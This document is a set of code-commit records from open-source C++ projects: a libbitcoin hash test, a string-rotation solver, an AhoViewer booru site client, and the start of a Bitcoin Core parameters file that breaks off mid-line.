{"text":"<commit_before>\/*\n * Copyright (c) 2011-2013 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * libbitcoin is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option) \n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <boost\/test\/unit_test.hpp>\n#include <bitcoin\/bitcoin.hpp>\nusing namespace bc;\n\nBOOST_AUTO_TEST_CASE(sha256_hash)\n{\n    auto genesis = genesis_block();\n    auto genesis_hash = hash_block_header(genesis.header);\n    BOOST_REQUIRE(encode_hex(genesis_hash) ==\n        \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f\");\n    auto ripemd_hash = generate_short_hash(data_chunk{{110}});\n    BOOST_REQUIRE(encode_hex(ripemd_hash) ==\n        \"17d040b739d639c729daaf627eaff88cfe4207f4\");\n}\n\n<commit_msg>move ripemd test into its own thing<commit_after>\/*\n * Copyright (c) 2011-2013 libbitcoin developers (see AUTHORS)\n *\n * This file is part of libbitcoin.\n *\n * libbitcoin is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Affero General Public License with\n * additional permissions to the one published by the Free Software\n * Foundation, either version 3 of the License, or (at your option) \n * any later version. For more information see LICENSE.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Affero General Public License for more details.\n *\n * You should have received a copy of the GNU Affero General Public License\n * along with this program. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n#include <boost\/test\/unit_test.hpp>\n#include <bitcoin\/bitcoin.hpp>\nusing namespace bc;\n\nBOOST_AUTO_TEST_CASE(sha256_hash)\n{\n    auto genesis = genesis_block();\n    auto genesis_hash = hash_block_header(genesis.header);\n    BOOST_REQUIRE(encode_hex(genesis_hash) ==\n        \"000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f\");\n}\n\nBOOST_AUTO_TEST_CASE(ripemd_hash)\n{\n    auto ripemd_hash = generate_short_hash(data_chunk{{110}});\n    BOOST_REQUIRE(encode_hex(ripemd_hash) ==\n        \"17d040b739d639c729daaf627eaff88cfe4207f4\");\n}\n\n<|endoftext|>"}
{"text":"<commit_before>#include <algorithm>\n#include <fstream>\n#include <iostream>\n#include <string>\n\nnamespace\n{\n    bool isRotation(std::string lhs, std::string rhs)\n    {\n        if(lhs.length() == rhs.length())\n        {\n            auto const lStart = std::begin(lhs);\n            auto const lEnd = std::end(lhs);\n\n            auto const rEnd = std::end(rhs);\n            auto rStart = std::find(std::begin(rhs), rEnd, lhs[0]);\n            while(rStart != rEnd)\n            {\n                if(std::equal(rStart, rEnd, lStart))\n                {\n                    auto diff = std::distance(rStart, rEnd);\n                    auto lMiddle = lStart;\n                    std::advance(lMiddle, diff);\n                    if(std::equal(lMiddle, lEnd, std::begin(rhs)))\n                    {\n                        return true;\n                    }\n                }\n                ++rStart;\n                rStart = std::find(rStart, rEnd, lhs[0]);\n            }\n        }\n        return ((lhs.length() == 0) && (rhs.length() == 0));\n    }\n}\n\nint main(int argc, char ** argv)\n{\n    (void) argc;\n    std::ifstream input{argv[1]};\n    std::string line;\n    std::getline(input, line);\n    while(input)\n    {\n        auto split = std::find(std::begin(line), std::end(line), ',');\n        std::string lhs{std::begin(line), split};\n        std::string rhs{++split, std::end(line)};\n        if(isRotation(std::move(lhs), std::move(rhs)))\n        {\n            std::cout << \"True\\n\";\n        }\n        else\n        {\n            std::cout << \"False\\n\";\n        }\n        std::getline(input, line);\n    }\n}\n<commit_msg>Template up isRotation<commit_after>#include <algorithm>\n#include <fstream>\n#include <iostream>\n#include <string>\n\nnamespace\n{\n    template <typename LB, typename LE, typename RB, typename RE>\n    bool isRotation(LB const lStart, LE const lEnd, RB const rStart, RE const rEnd)\n    {\n        auto const lLen = std::distance(lStart, lEnd);\n        auto const rLen = std::distance(rStart, rEnd);\n\n        if(lLen == rLen)\n        {\n            \/\/ make sure we have the same lengths\n            if(lLen == 0)\n            {\n                \/\/ if both strings are 0 we can exit now\n                return true;\n            }\n            auto rCurrent = std::find(rStart, rEnd, *lStart);\n            while(rCurrent != rEnd)\n            {\n                if(std::equal(rCurrent, rEnd, lStart))\n                {\n                    auto diff = std::distance(rCurrent, rEnd);\n                    auto lMiddle = lStart;\n                    std::advance(lMiddle, diff);\n                    if(std::equal(lMiddle, lEnd, rStart))\n                    {\n                        return true;\n                    }\n                }\n                std::advance(rCurrent, 1);\n                rCurrent = std::find(rCurrent, rEnd, *lStart);\n            }\n        }\n        return false;\n    }\n}\n\nint main(int argc, char ** argv)\n{\n    (void) argc;\n    std::ifstream input{argv[1]};\n    std::string line;\n    std::getline(input, line);\n    while(input)\n    {\n        auto lBegin = std::begin(line);\n        auto rEnd = std::end(line);\n        auto lEnd = std::find(lBegin, rEnd, ',');\n        auto rStart = lEnd;\n        std::advance(rStart, 1);\n        if(isRotation(lBegin, lEnd, rStart, rEnd))\n        {\n            std::cout << \"True\\n\";\n        }\n        else\n        {\n            std::cout << \"False\\n\";\n        }\n        std::getline(input, line);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <chrono>\n#include <fstream>\n#include <iostream>\n#include <glib\/gstdio.h>\n\n#include \"site.h\"\nusing namespace AhoViewer::Booru;\n\n#include \"settings.h\"\n\n#ifdef HAVE_LIBSECRET\n#include <libsecret\/secret.h>\n#endif \/\/ HAVE_LIBSECRET\n\n\/\/ 1: page, 2: limit, 3: tags\nconst std::map<Site::Type, std::string> Site::RequestURI =\n{\n    { Type::DANBOORU, \"\/post\/index.xml?page=%1&limit=%2&tags=%3\" },\n    { Type::GELBOORU, \"\/index.php?page=dapi&s=post&q=index&pid=%1&limit=%2&tags=%3\" },\n    { Type::MOEBOORU, \"\/post.xml?page=%1&limit=%2&tags=%3\" },\n    { Type::SHIMMIE,  \"\/api\/danbooru\/find_posts\/index.xml?page=%1&limit=%2&tags=%3\" },\n};\n\n\/\/ 1: id\nconst std::map<Site::Type, std::string> Site::PostURI =\n{\n    { Type::DANBOORU, \"\/posts\/%1\" },\n    { Type::GELBOORU, \"\/index.php?page=post&s=view&id=%1\" },\n    { Type::MOEBOORU, \"\/post\/show\/%1\" },\n    { Type::SHIMMIE,  \"\/post\/view\/%1\" },\n};\n\nconst std::map<Site::Type, std::string> Site::RegisterURI =\n{\n    { Type::DANBOORU, \"\/users\/new\" },\n    { Type::GELBOORU, \"\/index.php?page=account&s=reg\" },\n    { Type::MOEBOORU, \"\/user\/signup\" },\n    { Type::SHIMMIE,  \"\/user_admin\/create\" },\n};\n\nstruct _shared_site : public Site\n{\n    template<typename...Ts>\n    _shared_site(Ts&&...args) : Site(std::forward<Ts>(args)...) { }\n};\n\nstd::shared_ptr<Site> Site::create(const std::string &name, const std::string &url, const Type type,\n                                   const std::string &user, const std::string &pass, const unsigned int max_cons)\n{\n    Type t = type == Type::UNKNOWN ? get_type_from_url(url) : type;\n\n    if (t != Type::UNKNOWN)\n        return std::make_shared<_shared_site>(name, url, t, user, pass, max_cons);\n\n    return nullptr;\n}\n\nconst Glib::RefPtr<Gdk::Pixbuf>& Site::get_missing_pixbuf()\n{\n    static const Glib::RefPtr<Gdk::Pixbuf> pixbuf =\n        Gtk::Invisible().render_icon(Gtk::Stock::MISSING_IMAGE, Gtk::ICON_SIZE_MENU);\n\n    return pixbuf;\n}\n\n#ifdef HAVE_LIBSECRET\nvoid Site::on_password_lookup(GObject*, GAsyncResult *result, gpointer ptr)\n{\n    GError *error = NULL;\n    gchar *password = secret_password_lookup_finish(result, &error);\n    Site *s = static_cast<Site*>(ptr);\n\n    if (!error && password)\n    {\n        s->m_Password = password;\n        s->m_PasswordLookup();\n        secret_password_free(password);\n    }\n    else if (error)\n    {\n        std::cerr << \"Failed to lookup password for \" << s->get_name() << std::endl\n                  << \"  \" << error->message << std::endl;\n        g_error_free(error);\n    }\n}\n\nvoid Site::on_password_stored(GObject*, GAsyncResult *result, gpointer ptr)\n{\n    GError *error = NULL;\n    secret_password_store_finish(result, &error);\n\n    if (error)\n    {\n        Site *s = static_cast<Site*>(ptr);\n        std::cerr << \"Failed to set password for \" << s->get_name() << std::endl\n                  << \"  \" << error->message << std::endl;\n        g_error_free(error);\n    }\n}\n#endif \/\/ HAVE_LIBSECRET\n\nSite::Type Site::get_type_from_url(const std::string &url)\n{\n    Curler curler;\n    curler.set_no_body();\n    curler.set_follow_location(false);\n\n    for (const Type &type : { Type::GELBOORU, Type::MOEBOORU, Type::DANBOORU, Type::SHIMMIE })\n    {\n        std::string uri = RequestURI.at(type);\n\n        if (type == Type::GELBOORU)\n            uri = uri.substr(0, uri.find(\"&pid\"));\n        else\n            uri = uri.substr(0, uri.find(\"?\"));\n\n        curler.set_url(url + uri);\n        if (curler.perform() && curler.get_response_code() == 200)\n            return type;\n    }\n\n    return Type::UNKNOWN;\n}\n\nvoid Site::share_lock_cb(CURL*, curl_lock_data data, curl_lock_access, void *userp)\n{\n    static_cast<Site*>(userp)->m_MutexMap[data].lock();\n}\n\nvoid Site::share_unlock_cb(CURL*, curl_lock_data data, void *userp)\n{\n    static_cast<Site*>(userp)->m_MutexMap[data].unlock();\n}\n\nSite::Site(const std::string &name, const std::string &url, const Type type,\n           const std::string &user, const std::string &pass, const unsigned int max_cons)\n  : m_Name(name),\n    m_Url(url),\n    m_Username(user),\n    m_Password(pass),\n    m_IconPath(Glib::build_filename(Settings.get_booru_path(), m_Name + \".png\")),\n    m_TagsPath(Glib::build_filename(Settings.get_booru_path(), m_Name + \"-tags\")),\n    m_CookiePath(Glib::build_filename(Settings.get_booru_path(), m_Name + \"-cookie\")),\n    m_Type(type),\n    m_NewAccount(false),\n    m_CookieTS(0),\n    m_MaxConnections(max_cons),\n    m_ShareHandle(curl_share_init())\n{\n    curl_share_setopt(m_ShareHandle, CURLSHOPT_LOCKFUNC, &Site::share_lock_cb);\n    curl_share_setopt(m_ShareHandle, CURLSHOPT_UNLOCKFUNC, &Site::share_unlock_cb);\n    curl_share_setopt(m_ShareHandle, CURLSHOPT_USERDATA, this);\n\n    \/\/ Types of data to share between curlers for this site\n    for (auto d : {\n\/\/ CURL_LOCK_DATA_CONNECT is currently buggy in >=7.57.0\n\/\/ assuming it gets fixed in 7.57.1\n#if LIBCURL_VERSION_NUM != 0x073900\n                    CURL_LOCK_DATA_CONNECT,\n#endif\n                    CURL_LOCK_DATA_COOKIE,\n                    CURL_LOCK_DATA_DNS,\n                    CURL_LOCK_DATA_SSL_SESSION,\n                    CURL_LOCK_DATA_SHARE })\n    {\n        m_MutexMap.emplace(std::piecewise_construct,\n                           std::forward_as_tuple(d),\n                           std::forward_as_tuple());\n        if (d != CURL_LOCK_DATA_SHARE)\n            curl_share_setopt(m_ShareHandle, CURLSHOPT_SHARE, d);\n    }\n\n#ifdef HAVE_LIBSECRET\n    if (!m_Username.empty())\n        secret_password_lookup(SECRET_SCHEMA_COMPAT_NETWORK,\n                               NULL,\n                               &Site::on_password_lookup, this,\n                               \"user\", m_Username.c_str(),\n                               \"server\", m_Url.c_str(),\n                               NULL);\n#endif \/\/ HAVE_LIBSECRET\n\n    \/\/ Load tags\n    if (Glib::file_test(m_TagsPath, Glib::FILE_TEST_EXISTS))\n    {\n        std::ifstream ifs(m_TagsPath);\n\n        if (ifs)\n            std::copy(std::istream_iterator<std::string>(ifs),\n                      std::istream_iterator<std::string>(),\n                      std::inserter(m_Tags, m_Tags.begin()));\n    }\n}\n\nSite::~Site()\n{\n    m_Curler.cancel();\n    if (m_IconCurlerThread.joinable())\n        m_IconCurlerThread.join();\n\n    cleanup_cookie();\n    curl_share_cleanup(m_ShareHandle);\n}\n\nstd::string Site::get_posts_url(const std::string &tags, size_t page)\n{\n    return Glib::ustring::compose(m_Url + RequestURI.at(m_Type),\n                                  (m_Type == Type::GELBOORU ? page - 1 : page),\n                                  Settings.get_int(\"BooruLimit\"), tags);\n}\n\nstd::string Site::get_post_url(const std::string &id)\n{\n    return Glib::ustring::compose(m_Url + PostURI.at(m_Type), id);\n}\n\nvoid Site::add_tags(const std::set<std::string> &tags)\n{\n    m_Tags.insert(tags.begin(), tags.end());\n}\n\nbool Site::set_url(const std::string &url)\n{\n    if (url != m_Url)\n    {\n        Type type = get_type_from_url(url);\n\n        if (type == Type::UNKNOWN)\n            return false;\n\n        m_Url  = url;\n        m_Type = type;\n    }\n\n    return true;\n}\n\nvoid Site::set_password(const std::string &s)\n{\n    m_NewAccount = true;\n#ifdef HAVE_LIBSECRET\n    if (!m_Username.empty())\n        secret_password_store(SECRET_SCHEMA_COMPAT_NETWORK,\n                              SECRET_COLLECTION_DEFAULT,\n                              \"password\", s.c_str(),\n                              NULL,\n                              &Site::on_password_stored, this,\n                              \"user\", m_Username.c_str(),\n                              \"server\", m_Url.c_str(),\n                              NULL);\n#endif \/\/ HAVE_LIBSECRET\n    m_Password = s;\n}\n\n\/\/ FIXME: Hopefully Gelbooru implements basic HTTP Authentication\nstd::string Site::get_cookie()\n{\n    if (m_Type != Type::GELBOORU)\n        return \"\";\n\n    if (!m_Username.empty() && !m_Password.empty())\n    {\n        using namespace std::chrono;\n        uint64_t cts = duration_cast<seconds>(system_clock::now().time_since_epoch()).count();\n\n        if (cts >= m_CookieTS || m_NewAccount)\n        {\n            \/\/ Get cookie expiration timestamp\n            if (Glib::file_test(m_CookiePath, Glib::FILE_TEST_EXISTS))\n            {\n                std::ifstream ifs(m_CookiePath);\n                std::string line, tok;\n\n                while (std::getline(ifs, line))\n                {\n                    if (line.compare(0, 10, \"#HttpOnly_\") == 0)\n                        line = line.substr(1);\n\n                    \/\/ Skip comments\n                    if (line[0] == '#') continue;\n\n                    std::istringstream iss(line);\n                    size_t i = 0;\n\n                    while (std::getline(iss, tok, '\\t'))\n                    {\n                        \/\/ Timestamp is always at the 4th index\n                        if (i == 4)\n                        {\n                            char *after = nullptr;\n                            uint64_t ts = strtoull(tok.c_str(), &after, 10);\n\n                            if (ts < m_CookieTS || m_CookieTS == 0)\n                                m_CookieTS = ts;\n                        }\n\n                        ++i;\n                    }\n                }\n            }\n\n            \/\/ Login and get a new cookie\n            \/\/ This does not check whether or not the login succeeded.\n            if (cts >= m_CookieTS || m_NewAccount)\n            {\n                if (Glib::file_test(m_CookiePath, Glib::FILE_TEST_EXISTS))\n                    g_unlink(m_CookiePath.c_str());\n\n                Curler curler(m_Url + \"\/index.php?page=account&s=login&code=00\", m_ShareHandle);\n                std::string f = Glib::ustring::compose(\"user=%1&pass=%2\", m_Username, m_Password);\n\n                curler.set_cookie_jar(m_CookiePath);\n                curler.set_post_fields(f);\n                curler.perform();\n\n                m_NewAccount = false;\n            }\n        }\n    }\n\n    return m_CookiePath;\n}\n\nvoid Site::cleanup_cookie() const\n{\n    if ((m_Username.empty() || m_Password.empty() || m_NewAccount) &&\n            Glib::file_test(m_CookiePath, Glib::FILE_TEST_EXISTS))\n        g_unlink(m_CookiePath.c_str());\n}\n\nGlib::RefPtr<Gdk::Pixbuf> Site::get_icon_pixbuf(const bool update)\n{\n    if (!m_IconPixbuf || update)\n    {\n        if (!update && Glib::file_test(m_IconPath, Glib::FILE_TEST_EXISTS))\n        {\n            m_IconPixbuf = Gdk::Pixbuf::create_from_file(m_IconPath);\n        }\n        else\n        {\n            m_IconPixbuf = get_missing_pixbuf();\n            \/\/ Attempt to download the site's favicon\n            m_IconCurlerThread = std::thread([&]()\n            {\n                for (const std::string &url : { m_Url + \"\/favicon.ico\",\n                                                m_Url + \"\/favicon.png\" })\n                {\n                    m_Curler.set_url(url);\n                    if (m_Curler.perform())\n                    {\n                        Glib::RefPtr<Gdk::PixbufLoader> loader = Gdk::PixbufLoader::create();\n                        loader->set_size(16, 16);\n\n                        try\n                        {\n                            loader->write(m_Curler.get_data(), m_Curler.get_data_size());\n                            loader->close();\n                            m_IconPixbuf = loader->get_pixbuf();\n                            m_SignalIconDownloaded();\n                            m_IconPixbuf->save(m_IconPath, \"png\");\n                            break;\n                        }\n                        catch (const Gdk::PixbufError &ex)\n                        {\n                            std::cerr << \"Error while creating icon for \" << m_Name\n                                      << \": \" << std::endl << \"  \" << ex.what() << std::endl;\n                        }\n                    }\n                }\n            });\n\n            if (update)\n                m_IconCurlerThread.join();\n        }\n    }\n\n    return m_IconPixbuf;\n}\n\nvoid Site::save_tags() const\n{\n    std::ofstream ofs(m_TagsPath);\n\n    if (ofs)\n        std::copy(m_Tags.begin(), m_Tags.end(), std::ostream_iterator<std::string>(ofs, \"\\n\"));\n}\n<commit_msg>booru\/site: Add comment about _shared_site<commit_after>#include <chrono>\n#include <fstream>\n#include <iostream>\n#include <glib\/gstdio.h>\n\n#include \"site.h\"\nusing namespace AhoViewer::Booru;\n\n#include \"settings.h\"\n\n#ifdef HAVE_LIBSECRET\n#include <libsecret\/secret.h>\n#endif \/\/ HAVE_LIBSECRET\n\n\/\/ 1: page, 2: limit, 3: tags\nconst std::map<Site::Type, std::string> Site::RequestURI =\n{\n    { Type::DANBOORU, \"\/post\/index.xml?page=%1&limit=%2&tags=%3\" },\n    { Type::GELBOORU, \"\/index.php?page=dapi&s=post&q=index&pid=%1&limit=%2&tags=%3\" },\n    { Type::MOEBOORU, \"\/post.xml?page=%1&limit=%2&tags=%3\" },\n    { Type::SHIMMIE,  \"\/api\/danbooru\/find_posts\/index.xml?page=%1&limit=%2&tags=%3\" },\n};\n\n\/\/ 1: id\nconst std::map<Site::Type, std::string> Site::PostURI =\n{\n    { Type::DANBOORU, \"\/posts\/%1\" },\n    { Type::GELBOORU, \"\/index.php?page=post&s=view&id=%1\" },\n    { Type::MOEBOORU, \"\/post\/show\/%1\" },\n    { Type::SHIMMIE,  \"\/post\/view\/%1\" },\n};\n\nconst std::map<Site::Type, std::string> Site::RegisterURI =\n{\n    { Type::DANBOORU, \"\/users\/new\" },\n    { Type::GELBOORU, \"\/index.php?page=account&s=reg\" },\n    { Type::MOEBOORU, \"\/user\/signup\" },\n    { Type::SHIMMIE,  \"\/user_admin\/create\" },\n};\n\n\/\/ This is a workaround to have a private\/protected constructor\n\/\/ and still be able to use make_shared.\n\/\/ Site's constructor shouldn't be called directly that's why it's protected.\n\/\/ Site::create should be used since it will let us know if the site is actually\n\/\/ valid or not\nstruct _shared_site : public Site\n{\n    template<typename... Args>\n    _shared_site(Args&&... v) : Site(std::forward<Args>(v)...) { }\n};\n\nstd::shared_ptr<Site> Site::create(const std::string &name, const std::string &url, const Type type,\n                                   const std::string &user, const std::string &pass, const unsigned int max_cons)\n{\n    Type t = type == Type::UNKNOWN ? get_type_from_url(url) : type;\n\n    if (t != Type::UNKNOWN)\n        return std::make_shared<_shared_site>(name, url, t, user, pass, max_cons);\n\n    return nullptr;\n}\n\nconst Glib::RefPtr<Gdk::Pixbuf>& Site::get_missing_pixbuf()\n{\n    static const Glib::RefPtr<Gdk::Pixbuf> pixbuf =\n        Gtk::Invisible().render_icon(Gtk::Stock::MISSING_IMAGE, Gtk::ICON_SIZE_MENU);\n\n    return pixbuf;\n}\n\n#ifdef HAVE_LIBSECRET\nvoid Site::on_password_lookup(GObject*, GAsyncResult *result, gpointer ptr)\n{\n    GError *error = NULL;\n    gchar *password = secret_password_lookup_finish(result, &error);\n    Site *s = static_cast<Site*>(ptr);\n\n    if (!error && password)\n    {\n        s->m_Password = password;\n        s->m_PasswordLookup();\n        secret_password_free(password);\n    }\n    else if (error)\n    {\n        std::cerr << \"Failed to lookup password for \" << s->get_name() << std::endl\n                  << \"  \" << error->message << std::endl;\n        g_error_free(error);\n    }\n}\n\nvoid Site::on_password_stored(GObject*, GAsyncResult *result, gpointer ptr)\n{\n    GError *error = NULL;\n    secret_password_store_finish(result, &error);\n\n    if (error)\n    {\n        Site *s = static_cast<Site*>(ptr);\n        std::cerr << \"Failed to set password for \" << s->get_name() << std::endl\n                  << \"  \" << error->message << std::endl;\n        g_error_free(error);\n    }\n}\n#endif \/\/ HAVE_LIBSECRET\n\nSite::Type Site::get_type_from_url(const std::string &url)\n{\n    Curler curler;\n    curler.set_no_body();\n    curler.set_follow_location(false);\n\n    for (const Type &type : { Type::GELBOORU, Type::MOEBOORU, Type::DANBOORU, Type::SHIMMIE })\n    {\n        std::string uri = RequestURI.at(type);\n\n        if (type == Type::GELBOORU)\n            uri = uri.substr(0, uri.find(\"&pid\"));\n        else\n            uri = uri.substr(0, uri.find(\"?\"));\n\n        curler.set_url(url + uri);\n        if (curler.perform() && curler.get_response_code() == 200)\n            return type;\n    }\n\n    return Type::UNKNOWN;\n}\n\nvoid Site::share_lock_cb(CURL*, curl_lock_data data, curl_lock_access, void *userp)\n{\n    static_cast<Site*>(userp)->m_MutexMap[data].lock();\n}\n\nvoid Site::share_unlock_cb(CURL*, curl_lock_data data, void *userp)\n{\n    static_cast<Site*>(userp)->m_MutexMap[data].unlock();\n}\n\nSite::Site(const std::string &name, const std::string &url, const Type type,\n           const std::string &user, const std::string &pass, const unsigned int max_cons)\n  : m_Name(name),\n    m_Url(url),\n    m_Username(user),\n    m_Password(pass),\n    m_IconPath(Glib::build_filename(Settings.get_booru_path(), m_Name + \".png\")),\n    m_TagsPath(Glib::build_filename(Settings.get_booru_path(), m_Name + \"-tags\")),\n    m_CookiePath(Glib::build_filename(Settings.get_booru_path(), m_Name + \"-cookie\")),\n    m_Type(type),\n    m_NewAccount(false),\n    m_CookieTS(0),\n    m_MaxConnections(max_cons),\n    m_ShareHandle(curl_share_init())\n{\n    curl_share_setopt(m_ShareHandle, CURLSHOPT_LOCKFUNC, &Site::share_lock_cb);\n    curl_share_setopt(m_ShareHandle, CURLSHOPT_UNLOCKFUNC, &Site::share_unlock_cb);\n    curl_share_setopt(m_ShareHandle, CURLSHOPT_USERDATA, this);\n\n    \/\/ Types of data to share between curlers for this site\n    for (auto d : {\n\/\/ CURL_LOCK_DATA_CONNECT is currently buggy in >=7.57.0\n\/\/ assuming it gets fixed in 7.57.1\n#if LIBCURL_VERSION_NUM != 0x073900\n                    CURL_LOCK_DATA_CONNECT,\n#endif\n                    CURL_LOCK_DATA_COOKIE,\n                    CURL_LOCK_DATA_DNS,\n                    CURL_LOCK_DATA_SSL_SESSION,\n                    CURL_LOCK_DATA_SHARE })\n    {\n        m_MutexMap.emplace(std::piecewise_construct,\n                           std::forward_as_tuple(d),\n                           std::forward_as_tuple());\n        if (d != CURL_LOCK_DATA_SHARE)\n            curl_share_setopt(m_ShareHandle, CURLSHOPT_SHARE, d);\n    }\n\n#ifdef HAVE_LIBSECRET\n    if (!m_Username.empty())\n        secret_password_lookup(SECRET_SCHEMA_COMPAT_NETWORK,\n                               NULL,\n                               &Site::on_password_lookup, this,\n                               \"user\", m_Username.c_str(),\n                               \"server\", m_Url.c_str(),\n                               NULL);\n#endif \/\/ HAVE_LIBSECRET\n\n    \/\/ Load tags\n    if (Glib::file_test(m_TagsPath, Glib::FILE_TEST_EXISTS))\n    {\n        std::ifstream ifs(m_TagsPath);\n\n        if (ifs)\n            std::copy(std::istream_iterator<std::string>(ifs),\n                      std::istream_iterator<std::string>(),\n                      std::inserter(m_Tags, m_Tags.begin()));\n    }\n}\n\nSite::~Site()\n{\n    m_Curler.cancel();\n    if (m_IconCurlerThread.joinable())\n        m_IconCurlerThread.join();\n\n    cleanup_cookie();\n    curl_share_cleanup(m_ShareHandle);\n}\n\nstd::string Site::get_posts_url(const std::string &tags, size_t page)\n{\n    return Glib::ustring::compose(m_Url + RequestURI.at(m_Type),\n                                  (m_Type == Type::GELBOORU ? page - 1 : page),\n                                  Settings.get_int(\"BooruLimit\"), tags);\n}\n\nstd::string Site::get_post_url(const std::string &id)\n{\n    return Glib::ustring::compose(m_Url + PostURI.at(m_Type), id);\n}\n\nvoid Site::add_tags(const std::set<std::string> &tags)\n{\n    m_Tags.insert(tags.begin(), tags.end());\n}\n\nbool Site::set_url(const std::string &url)\n{\n    if (url != m_Url)\n    {\n        Type type = get_type_from_url(url);\n\n        if (type == Type::UNKNOWN)\n            return false;\n\n        m_Url  = url;\n        m_Type = type;\n    }\n\n    return true;\n}\n\nvoid Site::set_password(const std::string &s)\n{\n    m_NewAccount = true;\n#ifdef HAVE_LIBSECRET\n    if (!m_Username.empty())\n        secret_password_store(SECRET_SCHEMA_COMPAT_NETWORK,\n                              SECRET_COLLECTION_DEFAULT,\n                              \"password\", s.c_str(),\n                              NULL,\n                              &Site::on_password_stored, this,\n                              \"user\", m_Username.c_str(),\n                              \"server\", m_Url.c_str(),\n                              NULL);\n#endif \/\/ HAVE_LIBSECRET\n    m_Password = s;\n}\n\n\/\/ FIXME: Hopefully Gelbooru implements basic HTTP Authentication\nstd::string Site::get_cookie()\n{\n    if (m_Type != Type::GELBOORU)\n        return \"\";\n\n    if (!m_Username.empty() && !m_Password.empty())\n    {\n        using namespace std::chrono;\n        uint64_t cts = duration_cast<seconds>(system_clock::now().time_since_epoch()).count();\n\n        if (cts >= m_CookieTS || m_NewAccount)\n        {\n            \/\/ Get cookie expiration timestamp\n            if (Glib::file_test(m_CookiePath, Glib::FILE_TEST_EXISTS))\n            {\n                std::ifstream ifs(m_CookiePath);\n                std::string line, tok;\n\n                while (std::getline(ifs, line))\n                {\n                    if (line.compare(0, 10, \"#HttpOnly_\") == 0)\n                        line = line.substr(1);\n\n                    \/\/ Skip comments\n                    if (line[0] == '#') continue;\n\n                    std::istringstream iss(line);\n                    size_t i = 0;\n\n                    while (std::getline(iss, tok, '\\t'))\n                    {\n                        \/\/ Timestamp is always at the 4th index\n                        if (i == 4)\n                        {\n                            char *after = nullptr;\n                            uint64_t ts = strtoull(tok.c_str(), &after, 10);\n\n                            if (ts < m_CookieTS || m_CookieTS == 0)\n                                m_CookieTS = ts;\n                        }\n\n                        ++i;\n                    }\n                }\n            }\n\n            \/\/ Login and get a new cookie\n            \/\/ This does not check whether or not the login succeeded.\n            if (cts >= m_CookieTS || m_NewAccount)\n            {\n                if (Glib::file_test(m_CookiePath, Glib::FILE_TEST_EXISTS))\n                    g_unlink(m_CookiePath.c_str());\n\n                Curler curler(m_Url + \"\/index.php?page=account&s=login&code=00\", m_ShareHandle);\n                std::string f = Glib::ustring::compose(\"user=%1&pass=%2\", m_Username, m_Password);\n\n                curler.set_cookie_jar(m_CookiePath);\n                curler.set_post_fields(f);\n                curler.perform();\n\n                m_NewAccount = false;\n            }\n        }\n    }\n\n    return m_CookiePath;\n}\n\nvoid Site::cleanup_cookie() const\n{\n    if ((m_Username.empty() || m_Password.empty() || m_NewAccount) &&\n            Glib::file_test(m_CookiePath, Glib::FILE_TEST_EXISTS))\n        g_unlink(m_CookiePath.c_str());\n}\n\nGlib::RefPtr<Gdk::Pixbuf> Site::get_icon_pixbuf(const bool update)\n{\n    if (!m_IconPixbuf || update)\n    {\n        if (!update && Glib::file_test(m_IconPath, Glib::FILE_TEST_EXISTS))\n        {\n            m_IconPixbuf = Gdk::Pixbuf::create_from_file(m_IconPath);\n        }\n        else\n        {\n            m_IconPixbuf = get_missing_pixbuf();\n            \/\/ Attempt to download the site's favicon\n            m_IconCurlerThread = std::thread([&]()\n            {\n                for (const std::string &url : { m_Url + \"\/favicon.ico\",\n                                                m_Url + \"\/favicon.png\" })\n                {\n                    m_Curler.set_url(url);\n                    if (m_Curler.perform())\n                    {\n                        Glib::RefPtr<Gdk::PixbufLoader> loader = Gdk::PixbufLoader::create();\n                        loader->set_size(16, 16);\n\n                        try\n                        {\n                            loader->write(m_Curler.get_data(), m_Curler.get_data_size());\n                            loader->close();\n                            m_IconPixbuf = loader->get_pixbuf();\n                            m_SignalIconDownloaded();\n                            m_IconPixbuf->save(m_IconPath, \"png\");\n                            break;\n                        }\n                        catch (const Gdk::PixbufError &ex)\n                        {\n                            std::cerr << \"Error while creating icon for \" << m_Name\n                                      << \": \" << std::endl << \"  \" << ex.what() << std::endl;\n                        }\n                    }\n                }\n            });\n\n            if (update)\n                m_IconCurlerThread.join();\n        }\n    }\n\n    return m_IconPixbuf;\n}\n\nvoid Site::save_tags() const\n{\n    std::ofstream ofs(m_TagsPath);\n\n    if (ofs)\n        std::copy(m_Tags.begin(), m_Tags.end(), std::ostream_iterator<std::string>(ofs, \"\\n\"));\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright (c) 2010 Satoshi Nakamoto\n\/\/ Copyright (c) 2009-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <chainparamsbase.h>\n\n#include <tinyformat.h>\n#include <util\/system.h>\n#include <util\/memory.h>\n\n#include <assert.h>\n\nconst std::string CBaseChainParams::MAIN = \"main\";\nconst std::string CBaseChainParams::TESTNET = \"test\";\nconst std::string CBaseChainParams::SIGNET = \"signet\";\nconst std::string CBaseChainParams::REGTEST = \"regtest\";\n\nvoid SetupChainParamsBaseOptions(ArgsManager& argsman)\n{\n    argsman.AddArg(\"-chain=<chain>\", \"Use the chain <chain> (default: main). Allowed values: main, test, regtest\", ArgsManager::ALLOW_ANY, OptionsCategory::CHAINPARAMS);\n    argsman.AddArg(\"-regtest\", \"Enter regression test mode, which uses a special chain in which blocks can be solved instantly. \"\n                 \"This is intended for regression testing tools and app development. Equivalent to -chain=regtest.\", 